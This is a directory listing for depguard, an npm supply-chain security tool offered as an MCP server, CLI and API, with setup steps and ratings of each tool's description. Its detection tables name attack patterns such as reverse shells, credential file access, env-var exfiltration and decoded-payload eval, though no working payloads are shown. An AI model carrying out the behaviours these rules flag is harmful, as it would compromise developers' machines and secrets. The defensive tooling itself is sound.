F
licenseA
qualityD
maintenancePackage intelligence MCP server. Stops AI agents from installing hallucinated/malicious packages across 17 ecosystems. 22 tools, free, no auth.
22
1
-
depguard
by mopanc
The depguard MCP server provides 14 security and quality analysis tools for npm packages and JavaScript projects, primarily designed to assist AI coding agents in maintaining supply chain integrity and code quality.
depguard_guard(Pre-install Guardian): Verify a package before runningnpm install— checks existence, detects typosquatting, runs a security audit, and returns an allow/warn/block decision.depguard_should_use(Smart Package Advisor): Given a desired functionality, checks for native Node.js APIs first, then evaluates npm candidates and recommends install, caution, or write-from-scratch.depguard_verify(Hallucination Guard): Quickly verify whether a package exists on npm and check for typosquatting — prevents AI agents from installing made-up packages.depguard_workspace_audit(Workspace Safety Audit): Enumerate all auto-executing files in a cloned repo (VS Code tasks, devcontainer hooks, git hooks, Makefiles, etc.) to detect potential malware.depguard_audit(Single Package Deep Audit): Scan a package's tarball for malware patterns, vulnerabilities (npm + GitHub Advisory DB), install script risks, and license compatibility.depguard_audit_project(Project-Wide Audit): Audit all direct and transitive dependencies in a project using itspackage.jsonand lockfile.depguard_audit_deep(Full Transitive Tree Audit): Recursively crawl and audit the entire dependency graph of a single package.depguard_audit_bulk(Bulk Audit): Audit multiple packages in a single call by passing an array of names or adependenciesobject.depguard_remediate(Vulnerability Remediation Planner): Identify which direct dependencies to bump for maximum vulnerability impact, grouped and sorted by severity.depguard_sweep(Dead Dependency Detection): Find unused packages by scanning source files for imports and cross-referencing withpackage.json, including estimated disk savings.depguard_review(AI Code Review): Scan source files for AI-generated debris —console.logs, empty catch blocks, broken imports, orphan files, and untracked TODOs.depguard_score(Quick Package Score): Get a 0–100 quality score for a package (security, maintenance, popularity, license, dependencies) without a full audit.depguard_search(Package Search): Search npm by keywords with results ranked by depguard quality score.depguard_sbom(SBOM Generation): Generate a CycloneDX 1.6 Software Bill of Materials with PURLs, SHA-512 hashes, and optional VEX vulnerability data for compliance (EU CRA, US EO 14028, SOC 2, FedRAMP).
Outputs support SARIF v2.1.0 (for GitHub Code Scanning integration) and JSON for programmatic use.
Fetches GitHub repository data (stars, activity, code analysis) to enrich package scoring and security audits.
Provides tools for auditing npm packages, searching the registry, scoring packages on security/maintenance/popularity, detecting typosquats and malware, analyzing dependencies, generating CycloneDX SBOMs, and recommending whether to install or build from scratch.
depguard-cli
MCP security server for AI coding agents. 14 tools — workspace auto-exec audit (defends against fake-interview / take-home-test malware), static code analysis, pre-install guardian, AI hallucination guard, dead-dependency detection, vulnerability audit, remediation planner, CycloneDX 1.6 SBOM, and SARIF v2.1.0 output for GitHub Code Scanning. Zero runtime dependencies. Works with Claude, Cursor, Windsurf, and any MCP client.
Why depguard
I work on industrial software where every event has to be logged and recoverable — customers trust the system because the audit trail makes the system trustworthy. When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem: install 1,000 packages, hope for the best. depguard brings the same auditability mindset to JavaScript dependencies — verify before installing, audit what's already there, generate an SBOM your security team can actually use.
Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.
Related MCP server: guardrails-mcp-server
Install
npm install -g depguard-cli # or use directly with npx
npx depguard-cli audit expressMCP server (primary use case)
depguard exposes 14 MCP tools over stdio. Add it to any MCP-compatible client and your AI agent calls them automatically when it's about to install something, audit a project, or review code.
Setup — Claude Code one-liner:
claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcpSetup — generic MCP config (Claude Desktop, Cursor, Windsurf, Continue.dev, Cline, Roo Code):
{
"mcpServers": {
"depguard": {
"command": "npx",
"args": ["-y", "depguard-cli", "--mcp"]
}
}
}The 14 tools
Tool | Use it when |
| About to install package Y → pre-install verify + audit + allow/warn/block |
| Need functionality X → recommend install / use-native / write-from-scratch |
| Just cloned a repo, before opening it in any IDE. Lists files that auto-execute on workspace open (VS Code tasks |
| Audit a whole project — direct deps, transitives via lockfile, |
| "100 vulnerabilities, which 5 direct deps do I bump?" — groups transitives by parent, sorted by severity weight |
| Deep dive on one package (vulnerabilities + static code analysis + install scripts) |
| Compare A vs B vs C in one call |
| Full transitive tree audit for one package |
| AI code review — detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files) |
| Find unused dependencies in a project |
| Search npm by keywords, ranked by depguard score |
| Score 0-100 for one package |
| AI hallucination guard — does this package exist? Is it a typosquat? |
| Generate a CycloneDX 1.6 SBOM (EU CRA, US EO 14028, SOC 2, FedRAMP) |
Every MCP response includes a tokenSavings field that quantifies the LLM-tokens saved vs equivalent manual research:
"tokenSavings": {
"responseTokens": 47,
"manualEstimate": 11100,
"saved": 11053,
"percentSaved": 100,
"manualSteps": [
"WebSearch: '{package} npm quality maintenance' (~800 tokens)",
"WebFetch: npm registry page (~3000 tokens)",
"WebFetch: GitHub repo for activity/stars (~3000 tokens)",
"WebSearch: '{package} vulnerabilities' (~800 tokens)",
"WebFetch: advisories page (~3000 tokens)",
"Reasoning: compute weighted score (~500 tokens)"
]
}Automatic, no configuration. Lets teams quantify the LLM cost reduction of routing dependency questions through depguard instead of free-text web research.
CLI
depguard-cli audit <package[@version]> [--target-license MIT] [--json|--format sarif]
depguard-cli audit-project <path/package.json> [--include-dev] [--json|--format sarif]
depguard-cli audit-workspace [path] [--json|--format sarif]
depguard-cli audit-deep <package> [--json]
depguard-cli guard <package> [--threshold 60] [--block] [--json]
depguard-cli should-use <intent...> [--threshold 60] [--json]
depguard-cli sweep [path] [--include-dev] [--json]
depguard-cli review [path] [--full] [--json]
depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json]
depguard-cli remediate <path/package.json> [--json]
depguard-cli search <keywords...> [--limit 10] [--json]
depguard-cli score <package> [--target-license MIT] [--json]
depguard-cli stats [--json]Pre-install guardian in action:
$ depguard-cli guard expresss
[WARN] expresss
Possible typosquat of: express
Score: 45/100 is below threshold 60
$ depguard-cli guard ai-made-up-package
[BLOCK] ai-made-up-package
Package does NOT exist on npm!GitHub Code Scanning (SARIF v2.1.0)
audit, audit-project, and audit-workspace accept --format sarif and emit SARIF v2.1.0 with GHSA-stable rule IDs (depguard/vuln/GHSA-…), CVSS-propagated severity, and stable partialFingerprints for dedup across runs.
# .github/workflows/depguard.yml
- name: Pre-open workspace audit
run: npx -y depguard-cli audit-workspace . --format sarif -o workspace.sarif || true
- name: Project dependency audit
run: npx -y depguard-cli audit-project ./package.json --format sarif -o project.sarif || true
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: |
workspace.sarif
project.sarifAPI
import { audit, auditProject, sweep, guard, generateSBOM, auditToSarif } from 'depguard-cli'
const report = await audit('express', 'MIT')
report.vulnerabilities.total // 0
report.securityFindings // SecurityFinding[] (static code analysis)
report.licenseCompatibility.compatible // true
const project = await auditProject('./package.json', { includeDevDependencies: true })
project.summary // { critical: 0, high: 2, moderate: 5, low: 3 }
project.transitiveSummary // { totalDeps: 800, vulnerable: 12, ... }
project.packageManagerAudit // audit of `packageManager: yarn@4.5.3`
const sweepResult = await sweep('.', { includeDevDependencies: true })
sweepResult.unused // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]
sweepResult.estimatedSavingsKB // 2450
const decision = await guard('expresss')
decision.possibleTyposquat // true
decision.similarTo // ["express"]
decision.decision // "warn"
const bom = await generateSBOM('./package.json', { includeVex: true })
bom.specVersion // "1.6"
bom.vulnerabilities // [{ id: "GHSA-...", ratings: [...], affects: [...] }]What depguard checks
Scoring
Each package is scored 0-100 across five dimensions, with thresholds tuned for AI-agent decision-making:
Dimension | Weight | What it measures |
Security | 30% | CVEs, advisories, static code analysis findings |
Maintenance | 25% | Last publish, version count, deprecation |
Popularity | 20% | Weekly downloads (log scale) |
License | 15% | Compatibility with your project's target license |
Dependencies | 10% | Dependency count, install scripts |
Decisions (shouldUse): >= 60 → install, 40-59 → caution, < 40 → write from scratch.
Static-analysis caps the security score regardless of popularity — this is deliberate: a wildly popular package with a credential-stealing payload still loses.
Worst finding | Security score capped at |
Critical (e.g. malware, reverse shell) | 20/100 |
High (e.g. obfuscation, env-var exfil) | 45/100 |
None | unrestricted |
Pre-install guardian
Three sequential checks before npm install: (1) does the package exist on npm? (2) is the name a typosquat — Levenshtein distance against 100+ top packages? (3) full security audit. Used as the recommended MCP entry point for AI agents.
Install script analysis
depguard statically pattern-matches preinstall / install / postinstall scripts. Nothing is executed.
Pattern | Severity | Example |
Remote code execution | Critical |
|
Reverse shells | Critical |
|
Credential file access | Critical |
|
Sensitive env vars | Critical |
|
Shell typosquatting | Critical |
|
Obfuscated code | High |
|
Process spawning | High |
|
Static code analysis (tarball scan)
depguard downloads the package tarball, extracts JS files, and scans for 18+ malware patterns across 6 categories:
Category | Severity | What it detects |
| Critical | Eval of decoded payloads, reverse shells, crypto-mining |
| Critical/High |
|
| High |
|
| High/Medium | Long hex/unicode strings, base64 payloads, minified source in non- |
| High/Medium | Network calls in a "formatter" package, FS access in a "date utility" |
| Critical | Typosquatting patterns in install scripts |
Behavioral mismatch compares the package's stated purpose (description + keywords) against detected runtime behavior. A "string formatter" that makes network calls is flagged with a rich SecurityFinding (title, explanation, evidence, file, recommendation).
Dead-dependency detection
sweep scans .js/.ts/.mjs/.cjs/.jsx/.tsx for import / require / export from, recognises config-only dependencies (eslint, prettier, jest, tailwind, …), detects binaries used in npm scripts, pairs @types/* with their runtime peer, and marks untraced devDependencies as "maybe-unused" instead of "unused". Reports estimated disk savings.
Native-alternative advisor
should_use checks for native Node.js APIs before recommending packages — fetch (18+), crypto.randomUUID() (19+), structuredClone() (17+), and 20+ more. Each comes with example code and the minimum Node version.
Fix suggestions
Every vulnerable result includes a fixSuggestions array with currentVersion, fixVersion, and action: 'upgrade' | 'no-fix-available'. depguard_remediate aggregates these and groups vulnerable transitives by the direct dep that pulls them in, sorted by severity weight.
License compatibility
Permissive-to-copyleft hierarchy: Public Domain → Permissive (MIT, ISC, BSD, Apache-2.0) → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL). A dependency is compatible if its license is equally or more permissive than the target license.
SBOM (CycloneDX 1.6)
Native CycloneDX 1.6 generation against the public JSON Schema — no @cyclonedx/cyclonedx-library runtime dependency. Output is consumed unchanged by Dependency-Track, Trivy, Grype, and OWASP DT.
depguard-cli sbom ./package.json -o sbom.cdx.json
depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.jsonSuitable for EU Cyber Resilience Act, US Executive Order 14028 / OMB M-22-18, SOC 2, FedRAMP, and supplier procurement. PURLs follow the Package URL spec. SHA-512 integrity hashes are extracted from package-lock.json and converted from base64 to hex per the CycloneDX schema. With --include-vex, advisories are inlined with CVSS ratings and patched versions.
Data, privacy & performance
Two advisory databases, deduplicated. Each advisory is filtered to the installed version range (no noise from advisories that don't actually affect you) and tagged with its
sourcefield.Source
What it catches
npm Registry
npm auditadvisoriesGitHub Advisory DB
GHSAs, often not in npm
Everything stays local. No telemetry, no usage reporting, nothing sent anywhere. Audit results are cached in memory (5 min TTL) and on disk under
~/.depguard/cache/(24h TTL); the cache is cleaned on startup.GitHub token (optional). Set
GITHUB_TOKEN(no scopes needed — identification only) to raise the GitHub Advisory API rate limit from 60/h to 5,000/h. IfghCLI or GitHub Actions already exposes one, depguard picks it up automatically.
About
Design principles. Zero runtime dependencies. Never throws on network errors — returns degraded results with warnings. TypeScript strict. 100% offline tests. False-positive aversion is a hard constraint for every detection rule — depguard is a security tool, and a security tool with poor precision destroys its own trust.
Development.
npm test # 409 offline tests
npm run check # version + build + lint + test + audit:security (gates publish)Author. Jorge Morais (jorgemopanc.com · LinkedIn) — Tech Lead at Balanças Marques in Braga, Portugal, building edge-to-cloud systems for industrial operations. Issues, PRs, and bug reports welcome. If depguard saves you from a malicious install or unblocks a compliance audit and you'd like to support the project, GitHub Sponsors is the cleanest way — no expectations, the tool is free and will stay so.
License. Apache-2.0 — see LICENSE.
Available Tools
14 toolsdepguard_auditA
Deep security audit of a single npm package. Downloads the tarball, scans source code for malware, checks vulnerabilities (npm + GitHub Advisory), analyzes install scripts, verifies license. Use when you need full details on a specific package. Pass a version to audit a specific installed version instead of latest.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | npm package name | |
| version | No | Specific version to audit (e.g. "4.17.1"). If omitted, audits the latest version. | |
| targetLicense | No | Project license for compatibility check (default: MIT) |
TDQS
A4.3/5.0
Behavior3/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It lists actions (download, scan, check, analyze, verify) but does not mention side effects like network requests, resource usage, or whether it modifies anything. Lacks explicit disclosure of behavioral traits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences front-load the purpose and usage. No superfluous words; every part adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness5/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 3 parameters, no output schema, and no annotations, the description fully covers what the tool does, when to use it, and parameter semantics. No gaps remain for an agent to interpret.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters4/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, baseline 3. Description adds value by explaining version parameter with example and default behavior ('If omitted, audits the latest version'), and clarifies targetLicense default ('default: MIT').
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states 'Deep security audit of a single npm package' and lists specific actions (downloads tarball, scans for malware, checks vulnerabilities, analyzes install scripts, verifies license). This distinguishes it from sibling tools like depguard_audit_bulk and depguard_audit_deep.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'Use when you need full details on a specific package' and provides condition for version parameter. While it doesn't directly mention alternatives, the sibling tool names imply the scope, making usage clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_audit_bulkA
Audit multiple packages in one call. Accepts an array of names or a dependencies object from package.json. Use depguard_audit_project instead if you have a package.json path.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| packages | Yes | Array of package names OR a dependencies object from package.json (e.g. {"react": "^18.0.0", "express": "^4.0.0"}) | |
| targetLicense | No | Project license for compatibility check (default: MIT) |
TDQS
A3.9/5.0
Behavior2/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must fully disclose behavioral traits. It mentions input types but does not state whether the audit is read-only, destructive, or involves any side effects, rate limits, or permissions. For a bulk operation, such details are important.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Two concise sentences, no wasted words. The description is front-loaded and efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness3/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool has moderate complexity (accepts flexible input types) but no output schema. The description does not explain what the return value is, which is a gap for an agent to interpret results. Adequate but incomplete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description does not add meaning beyond what the schema already provides; it merely paraphrases the parameter descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states 'Audit multiple packages in one call,' specifying the verb (audit) and resource (packages). It distinguishes from sibling depguard_audit_project by advising to use that tool when a package.json path is available.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines5/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states when to use an alternative: 'Use depguard_audit_project instead if you have a package.json path.' This provides clear context for tool selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_audit_deepA
Audit the full transitive dependency tree of a package. Crawls all nested dependencies recursively and aggregates vulnerabilities across the entire graph. Use when you need to know the total attack surface, not just direct deps.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | npm package name | |
| maxDepth | No | Max recursion depth (default: 5, max: 10) | |
| targetLicense | No | Project license for compatibility check (default: MIT) |
TDQS
A4.5/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It describes non-destructive audit behavior (crawl, aggregate). While it doesn't explicitly state read-only, the audit context implies no modifications. Adds value beyond schema with depth and aggregation detail.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences: first states purpose, second explains mechanism, third gives usage guidance. No redundant information. Front-loaded with key action.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness5/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a transitive dependency audit tool with 3 params and no output schema, the description covers purpose, behavior, and usage context completely. It answers what, how, and when without missing critical information.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema covers all 3 parameters with descriptions. The tool description does not add additional meaning beyond what's in the schema; it merely restates the purpose. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states it audits the full transitive dependency tree, distinguishing from similar tools like depguard_audit (likely direct deps only). The verb 'audit' and resource 'dependency tree' are specific and unambiguous.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines5/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'Use when you need to know the total attack surface, not just direct deps,' providing direct guidance on when to choose this tool over siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_audit_projectA
Audit ALL dependencies in a project at once. Scans direct deps (full audit), transitive deps from lock file (vulnerability check), and the packageManager field. Pass the path to package.json and get a consolidated security report. Use this when the user asks to review project security or after cloning a new repo.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | Absolute path to package.json file | |
| targetLicense | No | Project license for compatibility check (auto-detected from package.json if not set) | |
| includeDevDependencies | No | Include devDependencies in audit (default: false) |
TDQS
A4/5.0
Behavior3/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description must carry the burden. It explains the scanning scope and output (consolidated security report) but does not disclose potential side effects, auth needs, or what happens if the lock file is missing. Adequate but not rich.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is three sentences, each with a clear purpose: scope, scanning details, input/output, and use case. It is front-loaded, concise, and contains no filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness4/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 3 parameters, no output schema, and no annotations, the description covers the essential aspects: what it does, what to pass, and when to use. Minor gaps like missing error conditions or output structure details, but sufficient for typical use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with good descriptions. The description reinforces the 'path' parameter and mentions auto-detection for targetLicense and default for includeDevDependencies, adding slight value beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool audits ALL dependencies in a project, specifying what is scanned (direct, transitive, packageManager field) and expects a path to package.json. It differentiates from siblings like depguard_audit by emphasizing the project-wide scope.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says when to use: 'when the user asks to review project security or after cloning a new repo.' Does not explicitly state when not to use or mention alternatives, but the context and sibling list imply it's for comprehensive scans.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_guardA
MANDATORY: call this BEFORE running npm install, yarn add, or pnpm add — whether the user asked for the package or you decided to install it yourself. Verifies the package exists (blocks hallucinated names), checks for typosquatting, runs security audit, and returns allow/warn/block. If the result is "block" or "warn", do NOT install the package without informing the user.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | npm package name to check before installing | |
| threshold | No | Score threshold for allow decision (default: 60) | |
| targetLicense | No | Project license for compatibility check (default: MIT) |
TDQS
A4.6/5.0
Behavior5/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It fully discloses the tool's behavior: it checks package existence, typosquatting, security audit, and returns one of three outcomes. There is no contradiction with any hidden behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness4/5
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single block of text but is front-loaded with the critical 'MANDATORY' callout. It is dense with information and uses emphasis appropriately. A slightly more structured format could improve readability, but it remains concise and effective.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness5/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simple purpose (guard before install), the description fully covers what the tool does, when to call it, and what the output represents ('allow/warn/block'). No output schema is provided, but the description compensates by explaining the return outcomes. The three parameters are fully documented in the schema.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the baseline is 3. The description does not add significant per-parameter details beyond the schema, but it reinforces the mandatory nature of the 'name' parameter. No additional semantic value is provided for 'threshold' or 'targetLicense'.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Verifies the package exists (blocks hallucinated names), checks for typosquatting, runs security audit, and returns allow/warn/block.' It distinguishes from sibling tools by emphasizing the pre-installation guard function, which is unique among the listed siblings.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines5/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use the tool: 'MANDATORY: call this BEFORE running npm install, yarn add, or pnpm add.' It also provides clear when-not-to-install guidance: 'If the result is "block" or "warn", do NOT install the package without informing the user.'
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_remediateA
Build a remediation plan for a project with known vulnerabilities. Reads package.json + lock file, runs the same audit as depguard_audit_project, then groups every vulnerable transitive under the direct dep that pulls it in. Output is sorted by severity weight so the first remediation is the highest-impact bump. Use this when the user is staring at "100 vulnerabilities found" from npm install and needs to know which 5 direct deps to upgrade. Read-only: never modifies package.json, lockfile, or runs npm.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | Absolute path to package.json file | |
| targetLicense | No | Project license for compatibility check (auto-detected from package.json if not set) | |
| includeDevDependencies | No | Include devDependencies in audit (default: false) |
TDQS
A4.4/5.0
Behavior5/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Clearly states read-only nature: 'Read-only: never modifies package.json, lockfile, or runs npm.' Also describes internal steps (reads, groups, sorts). No annotations provided, so description carries full burden and succeeds.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Four sentences, front-loaded with main purpose, no redundant words. Every sentence provides useful information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness4/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Output is described conceptually (sorted by severity, actionable), but no explicit return format. Given no output schema, a bit more detail on output structure would improve completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so description adds minimal value. It reinforces that path is absolute and that targetLicense is auto-detected, but does not go beyond schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it builds a remediation plan for vulnerabilities, identifying which direct dependencies to upgrade. It distinguishes itself from sibling tools like depguard_audit_project by explaining the grouping and sorting behavior.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicit guidance: 'Use this when the user is staring at "100 vulnerabilities found"... and needs to know which 5 direct deps to upgrade.' Could improve by mentioning when not to use (e.g., if only raw audit is needed).
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_reviewA
Call this AFTER making significant code changes or before the user commits. Scans source files for issues you may have introduced: console.logs left in production code, empty catch blocks, broken imports, TODOs without issue references, empty test files, orphan files. Fix the findings before reporting your work as done.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | quick = per-file only (~500ms), full = cross-file analysis (~2-5s). Default: quick | |
| path | Yes | Absolute path to project root |
TDQS
A4.1/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description accurately describes the tool's behavior (scans source files, no destructive actions) and lists the types of issues it detects. Since no annotations are provided, the description bears full responsibility, and it adequately conveys that this is a read-only review tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is highly concise with two sentences: the first immediately states when to use it, and the second lists the issues. It is front-loaded and every sentence adds value without redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness3/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool scans for issues and returns findings (implied by 'fix the findings'), the description does not explicitly state the output format or what the user should expect as a response. This omission limits completeness for a moderately simple tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with both parameters well-described (mode with timing and options, path as absolute path). The description adds a context about the types of issues scanned but does not add new parameter-specific meaning beyond the schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: to scan source files for issues after code changes or before commit, listing specific types of issues (console.logs, empty catch blocks, etc.). It differentiates from sibling tools like depguard_audit by focusing on post-change review for introduced issues.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to call this tool ('AFTER making significant code changes or before the user commits') and instructs to fix findings before reporting done. It provides clear context but does not explicitly mention alternatives or when not to use it, though the specific timing implies when it is appropriate.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_sbomA
Generate a CycloneDX 1.6 Software Bill of Materials (SBOM) for an npm project. Reads package.json + lock file to enumerate direct + transitive components with PURLs and integrity hashes. Set includeVex=true to embed vulnerability data (VEX) from the audit pipeline. Use this when the user asks for an SBOM, a compliance report, or to comply with EU CRA / US EO 14028 requirements.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | Absolute path to package.json file | |
| includeVex | No | Include vulnerability data (VEX section). Default: false. Slower because it runs auditProject under the hood. | |
| targetLicense | No | Project license for compatibility check when includeVex is true (default: MIT) | |
| includeDevDependencies | No | Include devDependencies in the dependency graph (default: false) |
TDQS
A4.2/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the burden. It discloses behavior: reads specific files, enumerates components, runs auditProject under the hood for VEX, and notes that includeVex is slower. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences: purpose, method, usage guidance. No filler. Front-loaded with action verb. Every sentence adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness4/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 4 parameters, no output schema, and no annotations, the description is thorough. It mentions the SBOM standard, compliance reasons, and VEX option. Lacks details on return format, but the standard format is implied.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds meaning for includeVex (explains it's slower, runs auditProject) but does not elaborate on targetLicense or includeDevDependencies beyond schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
